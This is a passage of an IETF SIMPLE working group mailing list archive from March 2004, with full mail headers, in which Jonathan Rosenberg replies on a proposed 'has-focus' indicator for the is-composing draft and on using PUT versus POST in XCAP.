and XCON communities in one shot.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D301522222-08032004></SPAN></FONT>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01C40560.B99650C3--

--------------InterScan_NT_MIME_Boundary--


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 01:46:13 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27170
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 01:46:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0b0G-0002en-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 01:46:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0azJ-0002UT-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 01:45:14 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0ayM-0002Jl-00; Tue, 09 Mar 2004 01:44:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0ay9-0002vG-Pi; Tue, 09 Mar 2004 01:44:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0axe-0002u0-Tk
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 01:43:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA26977
	for <simple@ietf.org>; Tue, 9 Mar 2004 01:43:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0axb-0002A8-00
	for simple@ietf.org; Tue, 09 Mar 2004 01:43:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0awc-0001yR-00
	for simple@ietf.org; Tue, 09 Mar 2004 01:42:27 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0aw0-0001lw-00
	for simple@ietf.org; Tue, 09 Mar 2004 01:41:48 -0500
Received: from dynamicsoft.com ([63.113.46.35])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i296fHNr014731;
	Tue, 9 Mar 2004 01:41:17 -0500 (EST)
Message-ID: <404D6702.1080701@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu>
In-Reply-To: <404C511B.7050506@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 01:41:06 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Firstly, "has-focus" is probably a bad name, since its dangerously close 
to "is-focus" which means something entirely different in the SIP 
specifications...

Secondly, does this really provide useful information? Just because the 
window doesnt have focus doesnt mean I'm not paying attention. Indeed, I 
frequently look at another window while a user is typing to me (often 
another IM conversation). Or, to ask more concretely, how would a user 
change their behavior in knowing that my IM window didnt have focus?

-Jonathan R.

Henning Schulzrinne wrote:

> The AT&T Hubbubb IM/presence client (http://www.hubbubme.com/) has an 
> interesting feature that fits nicely into the is-composing draft: a 
> 'has-focus' indication that shows if the IM application has the user's 
> window focus, i.e., the user is paying attention to what's being sent 
> from the other side or is likely to respond soon. Any opinions of 
> including this as an optional state, i.e., a user MUST be able to choose 
> whether this gets sent and it MUST be off by default?
> 
> Henning
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 01:46:44 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27218
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 01:46:44 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0b0K-00034k-G1
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 01:46:16 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i296kGLC011818
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 01:46:16 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0b0K-00034X-C4
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 01:46:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27187
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 01:46:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0b0H-0002eu-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 01:46:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0azK-0002Ua-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 01:45:15 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0ayM-0002Jl-00; Tue, 09 Mar 2004 01:44:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0ay9-0002vG-Pi; Tue, 09 Mar 2004 01:44:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0axe-0002u0-Tk
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 01:43:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA26977
	for <simple@ietf.org>; Tue, 9 Mar 2004 01:43:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0axb-0002A8-00
	for simple@ietf.org; Tue, 09 Mar 2004 01:43:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0awc-0001yR-00
	for simple@ietf.org; Tue, 09 Mar 2004 01:42:27 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0aw0-0001lw-00
	for simple@ietf.org; Tue, 09 Mar 2004 01:41:48 -0500
Received: from dynamicsoft.com ([63.113.46.35])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i296fHNr014731;
	Tue, 9 Mar 2004 01:41:17 -0500 (EST)
Message-ID: <404D6702.1080701@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu>
In-Reply-To: <404C511B.7050506@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 01:41:06 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Firstly, "has-focus" is probably a bad name, since its dangerously close 
to "is-focus" which means something entirely different in the SIP 
specifications...

Secondly, does this really provide useful information? Just because the 
window doesnt have focus doesnt mean I'm not paying attention. Indeed, I 
frequently look at another window while a user is typing to me (often 
another IM conversation). Or, to ask more concretely, how would a user 
change their behavior in knowing that my IM window didnt have focus?

-Jonathan R.

Henning Schulzrinne wrote:

> The AT&T Hubbubb IM/presence client (http://www.hubbubme.com/) has an 
> interesting feature that fits nicely into the is-composing draft: a 
> 'has-focus' indication that shows if the IM application has the user's 
> window focus, i.e., the user is paying attention to what's being sent 
> from the other side or is likely to respond soon. Any opinions of 
> including this as an optional state, i.e., a user MUST be able to choose 
> whether this gets sent and it MUST be off by default?
> 
> Henning
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 03:25:31 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA14171
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 03:25:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0cYM-0002ot-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 03:25:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0cXS-0002f8-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 03:24:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0cX1-0002Uj-00; Tue, 09 Mar 2004 03:24:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0cWv-0000IQ-Fq; Tue, 09 Mar 2004 03:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0cWI-0000Fw-4j
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 03:23:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA14019
	for <simple@ietf.org>; Tue, 9 Mar 2004 03:23:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0cWF-0002SH-00
	for simple@ietf.org; Tue, 09 Mar 2004 03:23:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0cVL-0002Ho-00
	for simple@ietf.org; Tue, 09 Mar 2004 03:22:24 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0cUQ-0001yp-00
	for simple@ietf.org; Tue, 09 Mar 2004 03:21:26 -0500
Received: from dynamicsoft.com ([63.113.46.35])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i298L7Nr014759;
	Tue, 9 Mar 2004 03:21:08 -0500 (EST)
Message-ID: <404D7E68.8090304@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Dean Willis <dean.willis@softarmor.com>
CC: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com> <404711F8.9080807@softarmor.com>
In-Reply-To: <404711F8.9080807@softarmor.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 03:20:56 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

This is a debate we went through last June (I think) during the initial 
design phases of xcap. There were a few arguments against a POST mechanism:

1. is a tell-tale sign that you are really not using http, but rather, 
tunnelling some other protocol through http, which is a no-no 
(ftp://ftp.rfc-editor.org/in-notes/rfc3205.txt)

2. The vast majority of the cases, the xcap operations really WERE GET 
and PUT, tunneling these over POST would just result in effectively 
tunneling http over http.


To a large degree, the perspective depends on how much you think that 
server computed data is going to be a piece of the xcap puzzle. My view 
is that this was really an exception to the general xcap case, which had 
client managing data resident on a server. Right now, across all of the 
applications we have discussed, the one, and only one case for server 
computed data is to compute a URI associated with a resource, whether 
thats a conference (in the case of CPCP), or its a buddy list (in the 
case of resource lists). As such, xcap is optimized for the case where 
the vast majority of the protocol is worrying about direct modification 
of data (put/delete). I do not think we want to turn xcap into a general 
protocol for having servers fill in arbitrary data for different apps.

That said, assuming Dean's assessment of apache operation is correct 
(can someone verify that PUT works this way? I always thought one could 
write a servlet that handles PUT...), this would pose a problem. A key 
goal of XCAP is that it was easily built on existing servers and 
existing wireless clients. If people know of reasons why this goal has 
not been met, we should explore that.

A possible solution to this issue is to cleanly separate the URI 
allocation from the manipulation. We could define a separate piece of 
the protocol (POST based, perhaps), which has the server allocate the 
URI to the client. Once allocated, the client would PUT the entire 
document with that URI filled in. In this way, the data manipulation is 
using PUT/DELETE and is separated from the server computation.

This still requires two round trips to create a list. That seemed to 
give people a LOT of heartburn, but I dont think its an optimization we 
need to worry about that much. None of these operations are latency 
sensitive; at least, not to the point where one round trip vs. two 
really makes a difference. Furthermore, we are talkign only about the 
creation of the list/conference, which is not likely to be that frequent 
of an event. Thus, I dont see a bandwidth issue per se either.

-Jonathan R.



Dean Willis wrote:

> Niemi Aki (Nokia-M/Espoo) wrote:
> 
>> Although I'm all for having discussion on this topic, I'd like to see
>> the counterproposal. What goes in the POST body? What then? It's really
>> hard to argue against imagineware...
> 
> 
> Basically, the same thing that goes in a PUT body now, but framed out as 
>  an argument set. One approach might be to make it a text field in a form.
> 
>>
>>> Certainly it would be much easier to build an XCAP implementation on 
>>> Apache's HTTPD using a POST interface than it would using a PUT 
>>> interface.
>>
>>
>>
>> Could you elaborate? For example, does the CGI interface not give access
>> to the body of a PUT? What's the problem exactly?
> 
> 
> I'm not an expert on Apache internals, although I have been building web 
> sites with it for ten years or so. As I understand it, PUT requests are 
> interpreted by the WebDAV module (or by the basic web posting module if 
> you don't have the WebDAV module) and literally results in writing a 
> file to the file system. Nothing gets "triggered" when this happens, no 
> magic application gets invoked to go do things like assign a conference 
> number and update the etag, or anything like that. The data just sits 
> there in a file. To implement the current XCAP model, you'd have to 
> write some magic filesystem-monitoring daemon that notices the file has 
> changed, locks it, reads it, and writes it back with new etags. This 
> makes for 1) a lot of polling the filesystem for changes, and 2) really 
> wicked locking problems between writes-from-apache and 
> writes-from-the-magic-daemon to the data. There's probably a more clever 
> way to do it, but it's going to be moderately painful in any case.
> 
> Compare this to the POST interface: the server hands the request off to 
> the appropriate script-handler, which executes program logic on the 
> request. Typically, the body of the request is passed into the handler, 
> which parses, validates, and does something useful with that data.
> 
> In the most-like today's XCAP case, the handler would parse the request 
> to determine the correct XCAP resource, parse out the specifier to get 
> to the right place in the XML document, lock and rewrite the XML 
> document (remember, this is a sequential text file), return a copy of 
> the XML document with a new etag, then IPC notify the list server daemon 
> about the change so that it could re-read, validate, and revise (for 
> example, assign a conference URI) the resource and notify subscribers of 
> changes.
> 
> If one can abandon the current convoluted XCAP update model (which 
> writes the data BEFORE validating it), I think a much cleaner process 
> happens if the script-handler validates the input, locks the resource, 
> applies any needed transformation (like adding a conference URI), writes 
> the resource, and returns the revised resource and its new etag to the 
> POSTer, then IPC-notifies the list server.
> 
> This approach would appear relatively easy to implement in a Perl or PHP 
> script invoked by the cgi-bin interface in Apache.  In fact, other than 
> the xml processing, it's no harder than the scripts I use to run the 
> softarmor web site. This is substantially easier to deal with (using my 
> antquated skills, at least) than something that requires me to break out 
> the compiler and write a new Apache dynamically loaded module that 
> intercepts PUT requests.
> 
> -- 
> dean
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 03:26:03 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA14195
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 03:26:03 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0cYQ-0000Sb-AX
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 03:25:34 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i298PYUG001763
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 03:25:34 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0cYQ-0000SM-0U
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 03:25:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA14188
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 03:25:32 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0cYN-0002oy-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 03:25:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0cXT-0002fG-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 03:24:36 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0cX1-0002Uj-00; Tue, 09 Mar 2004 03:24:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0cWv-0000IQ-Fq; Tue, 09 Mar 2004 03:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0cWI-0000Fw-4j
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 03:23:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA14019
	for <simple@ietf.org>; Tue, 9 Mar 2004 03:23:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0cWF-0002SH-00
	for simple@ietf.org; Tue, 09 Mar 2004 03:23:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0cVL-0002Ho-00
	for simple@ietf.org; Tue, 09 Mar 2004 03:22:24 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0cUQ-0001yp-00
	for simple@ietf.org; Tue, 09 Mar 2004 03:21:26 -0500
Received: from dynamicsoft.com ([63.113.46.35])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i298L7Nr014759;
	Tue, 9 Mar 2004 03:21:08 -0500 (EST)
Message-ID: <404D7E68.8090304@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Dean Willis <dean.willis@softarmor.com>
CC: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com> <404711F8.9080807@softarmor.com>
In-Reply-To: <404711F8.9080807@softarmor.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 03:20:56 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

This is a debate we went through last June (I think) during the initial 
design phases of xcap. There were a few arguments against a POST mechanism:

1. is a tell-tale sign that you are really not using http, but rather, 
tunnelling some other protocol through http, which is a no-no 
(ftp://ftp.rfc-editor.org/in-notes/rfc3205.txt)

2. The vast majority of the cases, the xcap operations really WERE GET 
and PUT, tunneling these over POST would just result in effectively 
tunneling http over http.


To a large degree, the perspective depends on how much you think that 
server computed data is going to be a piece of the xcap puzzle. My view 
is that this was really an exception to the general xcap case, which had 
client managing data resident on a server. Right now, across all of the 
applications we have discussed, the one, and only one case for server 
computed data is to compute a URI associated with a resource, whether 
thats a conference (in the case of CPCP), or its a buddy list (in the 
case of resource lists). As such, xcap is optimized for the case where 
the vast majority of the protocol is worrying about direct modification 
of data (put/delete). I do not think we want to turn xcap into a general 
protocol for having servers fill in arbitrary data for different apps.

That said, assuming Dean's assessment of apache operation is correct 
(can someone verify that PUT works this way? I always thought one could 
write a servlet that handles PUT...), this would pose a problem. A key 
goal of XCAP is that it was easily built on existing servers and 
existing wireless clients. If people know of reasons why this goal has 
not been met, we should explore that.

A possible solution to this issue is to cleanly separate the URI 
allocation from the manipulation. We could define a separate piece of 
the protocol (POST based, perhaps), which has the server allocate the 
URI to the client. Once allocated, the client would PUT the entire 
document with that URI filled in. In this way, the data manipulation is 
using PUT/DELETE and is separated from the server computation.

This still requires two round trips to create a list. That seemed to 
give people a LOT of heartburn, but I dont think its an optimization we 
need to worry about that much. None of these operations are latency 
sensitive; at least, not to the point where one round trip vs. two 
really makes a difference. Furthermore, we are talkign only about the 
creation of the list/conference, which is not likely to be that frequent 
of an event. Thus, I dont see a bandwidth issue per se either.

-Jonathan R.



Dean Willis wrote:

> Niemi Aki (Nokia-M/Espoo) wrote:
> 
>> Although I'm all for having discussion on this topic, I'd like to see
>> the counterproposal. What goes in the POST body? What then? It's really
>> hard to argue against imagineware...
> 
> 
> Basically, the same thing that goes in a PUT body now, but framed out as 
>  an argument set. One approach might be to make it a text field in a form.
> 
>>
>>> Certainly it would be much easier to build an XCAP implementation on 
>>> Apache's HTTPD using a POST interface than it would using a PUT 
>>> interface.
>>
>>
>>
>> Could you elaborate? For example, does the CGI interface not give access
>> to the body of a PUT? What's the problem exactly?
> 
> 
> I'm not an expert on Apache internals, although I have been building web 
> sites with it for ten years or so. As I understand it, PUT requests are 
> interpreted by the WebDAV module (or by the basic web posting module if 
> you don't have the WebDAV module) and literally results in writing a 
> file to the file system. Nothing gets "triggered" when this happens, no 
> magic application gets invoked to go do things like assign a conference 
> number and update the etag, or anything like that. The data just sits 
> there in a file. To implement the current XCAP model, you'd have to 
> write some magic filesystem-monitoring daemon that notices the file has 
> changed, locks it, reads it, and writes it back with new etags. This 
> makes for 1) a lot of polling the filesystem for changes, and 2) really 
> wicked locking problems between writes-from-apache and 
> writes-from-the-magic-daemon to the data. There's probably a more clever 
> way to do it, but it's going to be moderately painful in any case.
> 
> Compare this to the POST interface: the server hands the request off to 
> the appropriate script-handler, which executes program logic on the 
> request. Typically, the body of the request is passed into the handler, 
> which parses, validates, and does something useful with that data.
> 
> In the most-like today's XCAP case, the handler would parse the request 
> to determine the correct XCAP resource, parse out the specifier to get 
> to the right place in the XML document, lock and rewrite the XML 
> document (remember, this is a sequential text file), return a copy of 
> the XML document with a new etag, then IPC notify the list server daemon 
> about the change so that it could re-read, validate, and revise (for 
> example, assign a conference URI) the resource and notify subscribers of 
> changes.
> 
> If one can abandon the current convoluted XCAP update model (which 
> writes the data BEFORE validating it), I think a much cleaner process 
> happens if the script-handler validates the input, locks the resource, 
> applies any needed transformation (like adding a conference URI), writes 
> the resource, and returns the revised resource and its new etag to the 
> POSTer, then IPC-notifies the list server.
> 
> This approach would appear relatively easy to implement in a Perl or PHP 
> script invoked by the cgi-bin interface in Apache.  In fact, other than 
> the xml processing, it's no harder than the scripts I use to run the 
> softarmor web site. This is substantially easier to deal with (using my 
> antquated skills, at least) than something that requires me to break out 
> the compiler and write a new Apache dynamically loaded module that 
> intercepts PUT requests.
> 
> -- 
> dean
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
